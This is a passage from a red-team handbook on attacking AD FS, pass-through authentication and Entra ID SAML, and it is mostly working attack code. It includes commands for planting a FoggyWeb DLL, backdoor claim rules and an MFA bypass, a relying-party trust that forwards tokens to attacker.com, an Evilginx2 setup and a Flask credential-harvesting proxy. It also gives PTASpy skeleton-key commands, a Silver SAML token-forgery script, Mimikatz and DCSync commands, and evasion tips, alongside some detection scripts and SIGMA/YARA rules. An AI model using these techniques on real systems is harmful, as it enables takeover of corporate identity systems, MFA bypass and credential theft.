  4. Establishes passive HTTP listener using AD FS's own HTTP server object
  5. Waits for specific HTTP GET/POST requests to exfiltrate data

9.2 FoggyWeb Deployment

# Attacker with local admin/SYSTEM on AD FS server:

# Step 1: Drop malicious version.dll to ADFS folder
# (replaces system32 version.dll via DLL search order hijacking)
Copy-Item "C:\malicious\version.dll" "C:\Windows\ADFS\version.dll"

# Step 2: Drop encrypted FoggyWeb payload
# (FoggyWeb itself is stored as an encrypted file, loaded by version.dll)
Copy-Item "C:\malicious\Microsoft.IdentityServer.WebExtension.dll" `
          "C:\Windows\ADFS\"

# Step 3: Restart AD FS service OR wait for next system restart
Restart-Service adfssrv
# The malicious version.dll is now loaded in the ADFS service context

# Step 4: Send GET/POST to FoggyWeb's covert listener to receive exfiltrated data
# GET request to specific URI → triggers config DB exfiltration
# POST request → triggers command execution / additional payload loading

9.3 FoggyWeb Capabilities

FoggyWeb capabilities once deployed:
├─ Configuration database exfiltration
│   → ADFS configuration (token certs, DKM key, relying party info)
│   → Entire ServiceSettings table from WID
│
├─ Token-signing cert exfiltration
│   → Intercepts token-signing cert after decryption
│   → Sends raw cert/key to C2 via covert HTTP channel
│
├─ Token-decryption cert exfiltration
│   → Intercepts token-decryption cert as well
│
├─ Additional payload deployment
│   → Can receive and execute additional .NET assemblies via POST
│   → In-memory execution, no disk artifact
│
└─ Persistent HTTP listener
    → Uses AD FS's own HTTP infrastructure
    → Traffic blends with normal ADFS traffic
    → No new network connections or ports opened

9.4 Hunting for FoggyWeb

# Check for malicious version.dll in ADFS folder
$adfsVersionDll = "C:\Windows\ADFS\version.dll"
if (Test-Path $adfsVersionDll) {
    $hash = Get-FileHash $adfsVersionDll -Algorithm SHA256
    Write-Host "[!] SUSPICIOUS: version.dll found in ADFS folder!" -ForegroundColor Red
    Write-Host "    Hash: $($hash.Hash)"
    Write-Host "    Expected location: C:\Windows\System32\version.dll only"
    Write-Host "    Legitimate ADFS never has version.dll in its own folder"
} else {
    Write-Host "[+] No version.dll in ADFS folder — clean" -ForegroundColor Green
}

# Check all DLLs in ADFS folder vs expected list
$adfsDir = "C:\Windows\ADFS\"
Get-ChildItem $adfsDir -Filter "*.dll" | ForEach-Object {
    $hash = Get-FileHash $_.FullName -Algorithm SHA256
    Write-Host "$($_.Name) | $($hash.Hash) | $($_.LastWriteTime)"
}

# Compare timestamps to ADFS installation date (FoggyWeb will be newer)
# Compare hashes to vendor baseline

# FoggyWeb IoCs from Microsoft:
# version.dll in %WinDir%\ADFS\ folder
# Microsoft.IdentityServer.WebExtension.dll in %WinDir%\ADFS\ folder
# Unusual HTTP requests to ADFS that don't match normal SAML/WS-Fed patterns

10. Claims Manipulation & Issuance Rules Injection

What it means: AD FS processes claims through a "claims pipeline" — a series of rules that accept, transform, and issue claims to relying parties. An attacker with admin access can modify these issuance rules to add backdoor claim rules that grant elevated privileges, bypass MFA requirements, or insert arbitrary claims into every token issued for a specific service.

[MITRE] T1484 — Domain or Tenant Policy Modification | T1556.007 — Modify Authentication Process

10.1 Claims Issuance Backdoor

# ─── View current claim rules for Office 365 ─────────────────
$rp = Get-AdfsRelyingPartyTrust -Name "Microsoft Office 365 Identity Platform"
Write-Host "[*] Current Issuance Transform Rules:"
Write-Host $rp.IssuanceTransformRules

# ─── Add backdoor rule: Always issue admin role ───────────────
# WARNING: This is destructive and will affect all users!
# This rule ALWAYS adds an "Admin" group claim to every token

$backdoorRule = @'
@RuleTemplate = "CustomClaims"
@RuleName = "BackdoorAdminClaim"
=> issue(Type = "http://schemas.microsoft.com/ws/2008/06/identity/claims/role",
         Value = "Admin");
'@

# Get existing rules
$existingRules = (Get-AdfsRelyingPartyTrust -Name "Microsoft Office 365 Identity Platform").IssuanceTransformRules

# Append backdoor rule (survives user password resets)
Set-AdfsRelyingPartyTrust `
    -TargetName "Microsoft Office 365 Identity Platform" `
    -IssuanceTransformRules ($existingRules + $backdoorRule)

Write-Host "[+] Backdoor claim rule injected"

10.2 MFA Bypass via Claims Rule

# Disable MFA requirement for specific user (attackers' account)
# by adding a bypass condition in claims rules

$mfaBypassRule = @'
@RuleName = "BypassMFAForSpecificUser"
c:[Type == "http://schemas.xmlsoap.org/claims/UPN",
   Value =~ "(?i)attacker@targetdomain\.com"]
=> issue(Type = "http://schemas.microsoft.com/claims/authnmethodsreferences",
         Value = "http://schemas.microsoft.com/claims/multipleauthn");
'@

# This claims rule issues a multi-factor authentication claim
# for the specified user WITHOUT requiring actual MFA
$existing = (Get-AdfsRelyingPartyTrust -Name "Microsoft Office 365 Identity Platform").IssuanceAuthorizationRules
Set-AdfsRelyingPartyTrust `
    -TargetName "Microsoft Office 365 Identity Platform" `
    -IssuanceAuthorizationRules ($existing + $mfaBypassRule)

10.3 Adding Malicious Relying Party Trust

# Add attacker-controlled relying party trust
# Allows attacker's server to receive SAML tokens

Add-AdfsRelyingPartyTrust `
    -Name "Attacker Corp App" `
    -Identifier "https://attacker.com/saml" `
    -SamlEndpoints @(New-AdfsSamlEndpoint -Protocol SAMLAssertionConsumer `
                                           -Uri "https://attacker.com/saml/acs" `
                                           -Binding POST) `
    -IsEnabled $true

# Add claim issuance rule to pass all claims to attacker
$passAllRules = @'
@RuleName = "PassAllClaims"
c:[]
=> issue(claim = c);
'@

Set-AdfsRelyingPartyTrust `
    -TargetName "Attacker Corp App" `
    -IssuanceTransformRules $passAllRules

Write-Host "[+] Malicious RP trust added — tokens now forwarded to attacker server"

10.4 Detecting Claim Rule Modifications

# Audit all claim rule changes (Blue Team / Defensive)
# Event ID 501: AD FS issued claims change — logged in AD FS audit log

# Search for recent RP trust modifications
Get-EventLog -LogName "AD FS/Admin" -After (Get-Date).AddDays(-7) |
    Where-Object { $_.EventID -in @(410, 411, 412, 413) } |
    Select-Object TimeGenerated, EventID, Message |
    Format-List

# Compare current claim rules against known-good baseline
Get-AdfsRelyingPartyTrust | ForEach-Object {
    $hash = [System.Security.Cryptography.SHA256]::Create()
    $ruleBytes = [System.Text.Encoding]::UTF8.GetBytes($_.IssuanceTransformRules)
    $ruleHash  = [BitConverter]::ToString($hash.ComputeHash($ruleBytes))
    Write-Host "$($_.Name) | $ruleHash"
}

11. AD FS Phishing & Spoofed Portals

What it means: When direct access to the AD FS server is not possible, attackers phish users via fake AD FS login portals that harvest credentials AND MFA codes in real-time. The phishing site acts as a transparent proxy — relaying credentials to the real AD FS, harvesting the session cookie, and then redirecting the victim to the real application. This is a sophisticated adversary-in-the-middle (AiTM) attack.

[MITRE] T1566.002 — Phishing: Spearphishing Link | T1557 — Adversary-in-the-Middle | T1539 — Steal Web Session Cookie

11.1 AD FS AiTM Phishing Flow

Attack Flow:
  1. Attacker sends phishing email:
     "Your AD FS session expired — please re-authenticate"
     Link: https://sts.evil-corp.com/adfs/ls/  (looks like real STS URL)

  2. Victim clicks link → lands on spoofed AD FS portal
     (pixel-perfect clone of real /adfs/ls/ page)

  3. Victim enters username + password
     → Attacker site transparently proxies to real AD FS

  4. Real AD FS prompts for MFA
     → Spoofed site shows same MFA prompt to victim
     → Victim completes MFA

  5. Real AD FS issues session cookie / SAML token
     → Attacker intercepts the session cookie/token

  6. Attacker uses stolen session to access Office 365 / Azure
     Victim redirected to legitimate site (no suspicion)

11.2 Evilginx2 — AiTM Framework

# [TOOL] Evilginx2 — HTTPS man-in-the-middle phishing framework
# GitHub: https://github.com/kgretzky/evilginx2

# Install
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2 && make

# Run evilginx2
./evilginx2

# Configure domain (you need a domain with DNS control)
config domain evil-corp.com
config ipv4 external <your_server_ip>

# Load AD FS phishlet (or create custom one)
phishlets hostname adfs sts.evil-corp.com
phishlets enable adfs

# Create phishing URL
lures create adfs
lures get-url 0
# → https://sts.evil-corp.com/adfs/ls/?id=<random_id>

# After victim authenticates:
sessions           # View captured sessions
sessions 1         # Show session details (cookies + credentials)

11.3 Static AD FS Portal Clone

#!/usr/bin/env python3
# adfs_portal_clone.py — Simple reverse proxy for AD FS credential harvesting
# WARNING: For authorized red team engagements only

from flask import Flask, request, redirect, render_template_string
import requests
import logging

app = Flask(__name__)
logging.basicConfig(level=logging.INFO)
HARVESTED = []

# Real AD FS server URL
REAL_ADFS = "https://real-sts.targetdomain.com"

ADFS_PAGE = """
<!DOCTYPE html>
<html>
<head><title>Sign In — Target Corp</title></head>
<body>
<!-- Pixel-perfect clone of target's ADFS login page would go here -->
<form method="POST" action="/adfs/ls/">
    <label>Email or Username</label>
    <input type="text" name="UserName" placeholder="user@targetdomain.com">
    <label>Password</label>
    <input type="password" name="Password">
    <input type="hidden" name="AuthMethod" value="FormsAuthentication">
    <input type="hidden" name="{{ ctx }}" value="{{ ctx_val }}">
    <button type="submit">Sign In</button>
</form>
</body>
</html>
"""

@app.route('/adfs/ls/', methods=['GET', 'POST'])
def adfs_proxy():
    if request.method == 'POST':
        username = request.form.get('UserName', '')
        password = request.form.get('Password', '')

        if username and password:
            logging.warning(f"[!] CREDENTIALS HARVESTED: {username}:{password}")
            HARVESTED.append({'user': username, 'pass': password, 'ip': request.remote_addr})

        # Forward to real AD FS
        real_resp = requests.post(
            f"{REAL_ADFS}/adfs/ls/",
            data=request.form,
            headers={'X-Forwarded-For': request.remote_addr},
            allow_redirects=False
        )
        return redirect(real_resp.headers.get('Location', REAL_ADFS))

    return render_template_string(ADFS_PAGE, ctx="ctx", ctx_val="")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))

12. Pass-Through Authentication (PTA) Backdoor

What it means: If the organization uses Azure AD Connect in Pass-Through Authentication (PTA) mode instead of AD FS, the PTA agent validates passwords by forwarding them to on-premises AD. An attacker who compromises a server running the PTA agent can install a skeleton key — a hook that accepts a hardcoded "master password" for ANY user, while also dumping all real passwords in cleartext as they flow through.

[MITRE] T1556.007 — Modify Authentication Process: Hybrid Identity

12.1 How PTA Works

Normal PTA authentication:
  User authenticates to Azure AD
    → Azure AD routes validation request to PTA agent (via Service Bus queue)
      → PTA agent calls LogonUser() on on-prem AD
        → AD validates password
          → Result: Pass / Fail returned to Azure AD

PTA Skeleton Key attack:
  User authenticates to Azure AD
    → Azure AD routes request to PTA agent
      → PTA agent's ValidateCredentials() is HOOKED
        → Check: Is password == "MasterPassword123!"?
          → YES: Return success without checking AD (login as any user!)
          → NO:  Log real cleartext password + forward to AD normally

12.2 PTASpy / PTA Skeleton Key (AADInternals)

# [TOOL] PTASpy — inject into Azure AD Connect PTA agent
# Part of AADInternals. Run on a server with the PTA agent installed.

Import-Module AADInternals

# Install PTA Spy (injects skeleton key + password logger into PTA agent)
Install-AADIntPTASpy

# Spy starts immediately — all passwords authenticated via this agent
# are logged to: C:\PTASpy\PTASpy.csv

# Check if spy is running
Get-AADIntPTASpy

# Read harvested credentials
Get-Content "C:\PTASpy\PTASpy.csv"
# Format: Timestamp, UserName, Password (cleartext!)

# Remove the spy
Remove-AADIntPTASpy

# Alternative: Set a skeleton key (backdoor password for ALL users)
# Any user can authenticate with "backdoor_password" in addition to their real password
Set-AADIntPTASkeletonKey -Password "backdoor_password_here"

12.3 Detecting PTA Backdoor

# Check for PTASpy artifacts (Blue Team)
$spyPath = "C:\PTASpy\PTASpy.csv"
if (Test-Path $spyPath) {
    Write-Host "[!] PTASpy log found! Credential harvesting active." -ForegroundColor Red
}

# Check PTA agent DLL integrity
$ptaAgent = "C:\Program Files\Microsoft Azure AD Connect Authentication Agent\"
Get-ChildItem $ptaAgent -Filter "*.dll" | ForEach-Object {
    $hash = (Get-FileHash $_.FullName -Algorithm SHA256).Hash
    Write-Host "$($_.Name) | $hash | $($_.LastWriteTime)"
}

# Monitor for suspicious DLL loads in AzureADConnectAuthenticationAgentService
# Event ID 7045: New service installed (could indicate PTA agent replacement)
Get-EventLog -LogName System -Source "Service Control Manager" -After (Get-Date).AddDays(-30) |
    Where-Object { $_.EventID -eq 7045 } |
    Select-Object TimeGenerated, Message

13. Silver SAML — Cloud Variant

What it means: Silver SAML is a newer attack (disclosed by Semperis in 2024) that is a spin on Golden SAML but targets Microsoft Entra ID (Azure AD) instead of on-premises AD FS. It exploits the practice of importing externally generated certificates into Entra ID for SAML signing. If the private key of this external cert is compromised, an attacker can forge SAML responses for any application using Entra ID as their IdP — without ever touching an AD FS server.

[MITRE] T1606.002 — Forge Web Credentials: SAML Tokens

13.1 Silver SAML vs Golden SAML

                        Golden SAML              Silver SAML
───────────────────────────────────────────────────────────────────────
Targets                AD FS (on-prem)          Entra ID / Azure AD
Key stolen from        AD FS server + AD DKM    External cert private key
Target services        All federated services   Apps using Entra ID SAML
AD FS needed?          YES                      NO
Entra ID admin needed? NO (just cert private key) NO (just cert private key)
Risk condition         Running AD FS            Using externally generated certs
Discovery              2017 (CyberArk)          2024 (Semperis)
In-the-wild attacks    YES (SolarWinds 2020)    Not yet observed
Mitigation             Migrate to Entra ID      Use only Entra ID self-signed certs

13.2 Silver SAML Attack Flow

Pre-condition: Organization imports an EXTERNALLY generated cert for SAML signing
in Entra ID (Application → Single sign-on → SAML Signing Certificate → Import)

Attack steps:
  1. Attacker obtains the private key of the external certificate
     (via code repo leak, secret scanning, compromised HSM, etc.)

  2. Attacker creates forged SAML response XML manually

  3. Attacker signs it with the stolen private key
     (signature is valid — it was generated with the same key Entra ID expects)

  4. Attacker sends forged SAML response to the target service (e.g., Salesforce)

  5. Target service validates signature against Entra ID's SAML metadata
     → Signature valid → Access granted as any user

13.3 Silver SAML Proof of Concept

#!/usr/bin/env python3
# silver_saml_poc.py — Silver SAML token forgery
# Requires: pip install lxml signxml cryptography

from lxml import etree
from signxml import XMLSigner, SignatureMethod
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from datetime import datetime, timedelta, timezone
import uuid
import base64

def forge_silver_saml(
    private_key_path: str,
    cert_path: str,
    target_user: str,
    issuer: str,         # Entra ID SAML issuer URL
    acs_url: str,        # Assertion Consumer Service URL of target app
    audience: str,       # Entity ID of target application
    not_before: datetime = None,
    not_after: datetime  = None,
) -> str:
    """Forge a SAML response signed with a stolen external private key."""

    now = datetime.now(timezone.utc)
    not_before = not_before or now - timedelta(minutes=5)
    not_after  = not_after  or now + timedelta(hours=1)

    assertion_id = "_" + uuid.uuid4().hex
    response_id  = "_" + uuid.uuid4().hex

    saml_ns   = "urn:oasis:names:tc:SAML:2.0:assertion"
    samlp_ns  = "urn:oasis:names:tc:SAML:2.0:protocol"

    # Build SAML Response XML
    saml_xml = f"""<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
    xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
    ID="{response_id}"
    Version="2.0"
    IssueInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}"
    Destination="{acs_url}"
    InResponseTo="_placeholder">

  <saml:Issuer>{issuer}</saml:Issuer>

  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>

  <saml:Assertion
      ID="{assertion_id}"
      Version="2.0"
      IssueInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}">

    <saml:Issuer>{issuer}</saml:Issuer>

    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
        {target_user}
      </saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData
            NotOnOrAfter="{not_after.strftime('%Y-%m-%dT%H:%M:%SZ')}"
            Recipient="{acs_url}"/>
      </saml:SubjectConfirmation>
    </saml:Subject>

    <saml:Conditions
        NotBefore="{not_before.strftime('%Y-%m-%dT%H:%M:%SZ')}"
        NotOnOrAfter="{not_after.strftime('%Y-%m-%dT%H:%M:%SZ')}">
      <saml:AudienceRestriction>
        <saml:Audience>{audience}</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>

    <saml:AuthnStatement
        AuthnInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>
          urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
        </saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>

    <!-- Attribute claims (customize per application's requirements) -->
    <saml:AttributeStatement>
      <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
        <saml:AttributeValue>{target_user}</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>

  </saml:Assertion>
</samlp:Response>"""

    # Load private key and certificate
    with open(private_key_path, "rb") as f:
        private_key = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())
    with open(cert_path, "rb") as f:
        cert_data = f.read()

    # Sign the SAML response
    root = etree.fromstring(saml_xml.encode())
    signer = XMLSigner(method=SignatureMethod.RSA_SHA256, signature_algorithm="rsa-sha256")
    signed_root = signer.sign(
        root,
        key=private_key,
        cert=cert_data,
    )

    # Base64 encode for HTTP POST
    signed_xml = etree.tostring(signed_root, pretty_print=True)
    return base64.b64encode(signed_xml).decode()

# Usage:
token = forge_silver_saml(
    private_key_path="stolen_external_key.pem",
    cert_path="stolen_cert.pem",
    target_user="admin@targetdomain.com",
    issuer="https://sts.windows.net/<tenant_id>/",
    acs_url="https://targetapp.salesforce.com/saml",
    audience="https://saml.salesforce.com",
)
print(f"[+] Forged SAML token (base64): {token[:80]}...")
print(f"[+] POST this to the ACS URL as 'SAMLResponse' parameter")

[OPSEC] Silver SAML only works when the target organization has imported an externally generated cert into Entra ID for SAML signing. If they use Entra ID's own self-signed cert, the private key is protected by Microsoft and cannot be extracted — Silver SAML is not possible.


14. Tools Reference

14.1 ADFSDump — Certificate & DKM Extraction

# [TOOL] ADFSDump (Mandiant)
# GitHub: https://github.com/mandiant/ADFSDump
# Language: C#
# Requirements: Run on AD FS server as service account or SYSTEM

# Usage
ADFSDump.exe [options]
  /domain:<domain>          Target AD domain (default: current domain)
  /DomainController:<DC>    DC to query for DKM key
  /NoDKM                    Skip DKM key extraction (certificate extraction only)

# Full extraction
ADFSDump.exe /domain:targetdomain.com /DomainController:dc01.targetdomain.com

# Output sections:
# 1. DKM key (hex) — needed to decrypt EncryptedPFX
# 2. Encrypted token signing key (base64 EncryptedPFX)
# 3. Relying Party Trust list (for each RP: name, identifier, sign-in protocol, claim rules)
# 4. ImmutableID requirement per RP

14.2 ADFSpoof — Token Forgery

# [TOOL] ADFSpoof (Mandiant)
# GitHub: https://github.com/mandiant/ADFSpoof
# Language: Python 3
# Requires custom crypto fork (see §6.1)

# Command syntax
python3 ADFSpoof.py [options] <module> [module_options]

# Options:
#   -b BLOB DKMKEY   EncryptedPFX binary + DKM key binary
#   -c CERT          PKCS12 PFX file (if already decrypted)
#   -p PASSWORD      PFX password (if protected)
#   -s ISSUER        AD FS STS hostname (e.g., sts.targetdomain.com)
#   -v               Verbose output
#   --sa ALGO        Signing algorithm (default: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256)
#   --da ALGO        Digest algorithm  (default: http://www.w3.org/2001/04/xmlenc#sha256)
#   -o OUTPUT        Write token to file

# Available modules:
#   dump             Decrypt EncryptedPFX and output PFX to disk
#   o365             Forge Office 365 / Azure token (SAML 1.1)
#   dropbox          Forge Dropbox token (SAML 2.0)
#   saml2            Forge generic SAML 2.0 token
#   wsfed            Forge generic WS-Federation token

# ── Module: dump ─────────────────────────────────────────────
python3 ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump
# Output: signing_cert.pfx

# ── Module: o365 ─────────────────────────────────────────────
python3 ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin \
    -s sts.targetdomain.com \
    o365 \
    --upn "ceo@targetdomain.com" \
    --objectguid "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"

# ── Module: saml2 ────────────────────────────────────────────
python3 ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin \
    -s sts.targetdomain.com \
    saml2 \
    --endpoint "https://app.example.com/saml/acs" \
    --nameidformat "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" \
    --nameid "admin@targetdomain.com" \
    --rpidentifier "https://app.example.com"

14.3 AADInternals — Comprehensive Azure AD/ADFS Toolkit

# [TOOL] AADInternals (by @DrAzureAD)
# GitHub: https://github.com/Gerenios/AADInternals
# Install: Install-Module AADInternals

# Key ADFS-relevant commands:
Invoke-AADIntReconAsOutsider             # External tenant recon
Invoke-AADIntUserEnumerationAsOutsider   # User enum (no creds)
Export-AADIntADFSSigningCertificate      # Export signing cert (on ADFS server)
New-AADIntSAMLToken                      # Forge SAML token
Get-AADIntADFSConfiguration              # Get ADFS config as JSON
Install-AADIntPTASpy                     # Install PTA skeleton key + password logger
Set-AADIntPTASkeletonKey                 # Set universal backdoor password
Get-AADIntAccessTokenForMSGraph          # Get Graph API access token

14.4 Mimikatz — DPAPI and Credential Extraction

# [TOOL] Mimikatz
# GitHub: https://github.com/gentilkiwi/mimikatz

# Dump DPAPI master keys (needed for cert decryption)
mimikatz "privilege::debug" "lsadump::backupkeys /system:dc01.targetdomain.com /export" exit

# Decrypt DPAPI-protected blobs
mimikatz "dpapi::masterkey /in:<masterkey_file> /sid:<SID> /password:<pass>" exit
mimikatz "dpapi::capi /in:<cert_file>" exit

# Dump credentials from LSASS (look for ADFS service account password)
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

# DCSync for DKM key (requires Replicating Directory Changes)
mimikatz "lsadump::dcsync /domain:targetdomain.com /guid:{DKM_OBJECT_GUID}" exit

14.5 CrackMapExec / NetExec — Lateral Movement to ADFS Server

# [TOOL] NetExec (formerly CrackMapExec)
# Lateral movement, execute commands on ADFS server

# Identify ADFS server from network
nxc smb 10.10.10.0/24 -u admin -p password --shares | grep -i adfs

# Execute ADFSDump remotely (after getting remote code exec)
nxc smb 10.10.10.5 -u admin -p password -x "C:\Temp\ADFSDump.exe /domain:domain.com"

# Upload ADFSDump via SMB
nxc smb 10.10.10.5 -u admin -p password --put-file ADFSDump.exe C:\Temp\ADFSDump.exe

# Run as service account (token impersonation — use with PSExec/DCOM)
nxc smb adfs-server.domain.com -u admin -p password \
    -x "powershell.exe -c 'Import-Module AADInternals; Export-AADIntADFSSigningCertificate'"

14.6 BurpSuite — SAML Token Inspection & Manipulation

[TOOL] BurpSuite + SAML extension
- Install SAML Raider extension from BApp Store
- Intercept SAML POST requests (to /adfs/ls/ or service ACS URL)
- Decode base64 SAMLResponse parameter
- Inspect and modify claims in XML
- Re-sign with captured cert (if available)
- Test for XML signature wrapping attacks

SAML XML Signature Wrapping (XSW) attacks:
- Exploit: Copy a valid signature, attach it to a different assertion
- Tool: SAMLSmith, SAML Raider in BurpSuite
- Target: Poorly implemented SAML validators that check signature presence 
          but not that it covers the right element

15. Detection & Evasion

15.1 Key Event IDs to Monitor (Blue Team / Red Team Awareness)

AD FS Admin Log (Applications and Services Logs\AD FS\Admin):
  Event ID 299  — Token issued (every successful sign-in)
  Event ID 403  — Token validation failure
  Event ID 410  — RP trust configuration changed  ← detect claim rule modification
  Event ID 411  — RP trust deleted
  Event ID 412  — Claims provider trust changed
  Event ID 501  — Claims issuance changed
  Event ID 1000 — AD FS service started
  Event ID 1200 — Token issuance success
  Event ID 1201 — Token issuance failure
  Event ID 1202 — Token issuance request (with caller info)

Security Log:
  Event ID 4662 — Object access on AD (DKM container read) ← critical
  Event ID 4688 — New process created (look for ADFSDump.exe, sqlcmd)
  Event ID 4104 — PowerShell script block logging (AADInternals, ADFSDump strings)
  Event ID 7045 — New service installed (PTA agent replacement)

AD FS Auditing (Security log, if configured):
  Source: AD FS Auditing
  Event IDs: 1132, 1133, 1134, 1136 → insecure DKM ACLs

15.2 SIGMA / YARA Detection Rules

# SIGMA Rule 1: ADFSDump / AADInternals PowerShell execution
title: AD FS Certificate Extraction Tool Execution
id: b2c3d4e5-f6a7-4b2c-9d3e-4f5a6b7c8d9e
status: stable
description: Detects execution of AD FS certificate extraction tools
logsource:
  product: windows
  service: powershell/operational
  category: ps_script
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'ADFSDump'
      - 'Export-AADIntADFSSigningCertificate'
      - 'Get-AADIntADFSConfiguration'
      - 'New-AADIntSAMLToken'
      - 'Install-AADIntPTASpy'
      - 'ADFSpoof'
  condition: selection
level: high
tags:
  - attack.credential_access
  - attack.t1606.002
  - attack.t1552.004
# SIGMA Rule 2: DKM Key Extraction via LDAP
title: AD FS DKM Container Access
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects LDAP access to AD FS DKM container
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectName|contains:
      - 'CN=ADFS'
      - 'CN=Microsoft,CN=Program Data'
      - 'CryptoPolicy'
    AccessMask|contains: '0x1'  # Read access
  filter:
    SubjectUserName|endswith: '$'  # Exclude computer accounts
    SubjectUserName|contains: 'ADFS'  # Exclude ADFS service itself
  condition: selection and not filter
level: high
// YARA Rule: ADFSDump binary
rule ADFS_Dump_Tool {
    meta:
        description = "Detects ADFSDump binary"
        author = "red team notes"
        reference = "github.com/mandiant/ADFSDump"

    strings:
        $s1 = "ADFSDump" ascii wide nocase
        $s2 = "EncryptedPFX" ascii wide nocase
        $s3 = "DKMKey" ascii wide nocase
        $s4 = "Microsoft##WID" ascii wide nocase
        $s5 = "ServiceSettings" ascii wide nocase

    condition:
        3 of ($s1, $s2, $s3, $s4, $s5)
}

// YARA Rule: FoggyWeb / MagicWeb indicators
rule ADFS_Backdoor_DLL {
    meta:
        description = "Detects AD FS backdoor DLLs (FoggyWeb, MagicWeb)"

    strings:
        $magic1 = "BeginProcessClaims" ascii wide
        $magic2 = "Microsoft.IdentityServer.Diagnostics" ascii wide
        $foggy1 = "version.dll" ascii wide
        $foggy2 = "ADFS\\" ascii wide
        $foggy3 = "FoggyWeb" ascii wide nocase

    condition:
        (($magic1 and $magic2) or ($foggy1 and $foggy2)) and
        uint16(0) == 0x5A4D  // PE header
}

15.3 Red Team Evasion Strategies

[EVASION] Running ADFSDump:
  - Rename ADFSDump.exe before transfer (e.g., svchost_diag.exe)
  - Run entirely in memory (load as .NET assembly via reflection)
  - Use PowerShell version of extraction logic (LDAP + WID query) instead of binary
  - AADInternals is PS-based → harder to detect than binary execution

[EVASION] DKM key extraction:
  - Extract via DCSync from a remote machine (never touch ADFS server)
  - Use LDAP query with a compromised service account (normal LDAP traffic)
  - Time the extraction during business hours (blend with normal LDAP noise)

[EVASION] Golden SAML usage:
  - Forge tokens with realistic expiry times (1 hour, not 24 hours)
  - Use victim's real ImmutableID to pass Azure checks
  - Access from IPs consistent with victim's previous sign-in locations
  - Set the token's InResponseTo and client IP to match victim's session pattern
  - Avoid using same assertion ID more than once (Azure tracks reuse)

[EVASION] For MagicWeb / FoggyWeb:
  - FoggyWeb uses ADFS's own HTTP infrastructure — no new ports/connections
  - Custom LEA encryption of payload on disk — entropy analysis helps but needs tuning
  - DLL timestamp matching (timestomp version.dll to match other ADFS DLLs)

[DETECT] What defenders will catch:
  - 4662 events for DKM container access (always suspicious, not many FPs)
  - PowerShell 4104 with ADFSDump/AADInternals strings (script block logging)
  - Forged tokens: Azure logs token issuance without matching on-prem 4662/299
  - Impossible travel: forged token used from attacker IP after victim's last sign-in from another location
  - Token issued for a user outside their normal hours or location
  - Certificate thumbprint mismatch (if attacker uses old/rotated cert)

16. Comparison Matrix

Attack Technique Requirements Impact Stealth Detection Risk Persistence
Golden SAML ADFS server SYSTEM + service acct context Full access to all federated services High Medium (Event 4662) Until cert rotated twice
DKM LDAP extraction Domain credentials + DKM container ACL Enables Golden SAML High Medium (4662) N/A (extraction)
DCSync for DKM Replicating Directory Changes perm Enables Golden SAML Medium High (4662+4929) N/A
DPAPI/Mimikatz Local admin on ADFS server Cert decryption key Low High (4662+LSASS) N/A
MagicWeb backdoor ADFS server admin/SYSTEM Bypass all auth/MFA as any user Very High Very Low (no standard logs) Until DLL removed
FoggyWeb backdoor ADFS server admin/SYSTEM Config/cert exfiltration + code exec Very High Low (FIM-only) Until DLL removed
Claims rule injection ADFS admin role Permanent MFA bypass / privilege High Medium (Event 410) Until rules cleaned
PTA Skeleton Key AAD Connect server access Any user auth with master password High Medium (DLL hash) Until PTA agent cleaned
Phishing/AiTM Social engineering Credential + session theft High Medium (IP anomaly) Until creds rotated
Silver SAML External signing cert private key Access all Entra ID SAML apps High Low (no on-prem logs) Until cert rotated

17. Attack Chain Cheat Sheet

Full Golden SAML Chain — Step by Step

# ══════════════════════════════════════════════════════════════
# STEP 1: Identify AD FS Environment
# ══════════════════════════════════════════════════════════════

# External: Check if domain is federated
curl -s -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
     -d '{"username":"test@targetdomain.com"}' | python3 -m json.tool
# Look for "IsFederated": 1 and "FederationRedirectUrl"

# Get STS URL and metadata
curl -s "https://sts.targetdomain.com/FederationMetadata/2007-06/FederationMetadata.xml"

# Internal: Enumerate ADFS settings
Get-ADFSProperties | Select-Object HostName, Identifier, DkmContainerDn

# ══════════════════════════════════════════════════════════════
# STEP 2: Pivot to ADFS Server
# ══════════════════════════════════════════════════════════════

# Find ADFS server via AD
Get-ADComputer -Filter {ServicePrincipalName -like "*adfs*"} -Properties ServicePrincipalName
# OR: Resolve sts.targetdomain.com → ADFS server IP

# Lateral movement (from DA)
python3 impacket-psexec domain.com/administrator:password@adfs-server.domain.com

# ══════════════════════════════════════════════════════════════
# STEP 3: Escalate to Service Account / SYSTEM
# ══════════════════════════════════════════════════════════════

# Get ADFS service account name
(Get-WmiObject Win32_Service -Filter "Name='ADFSSRV'").StartName

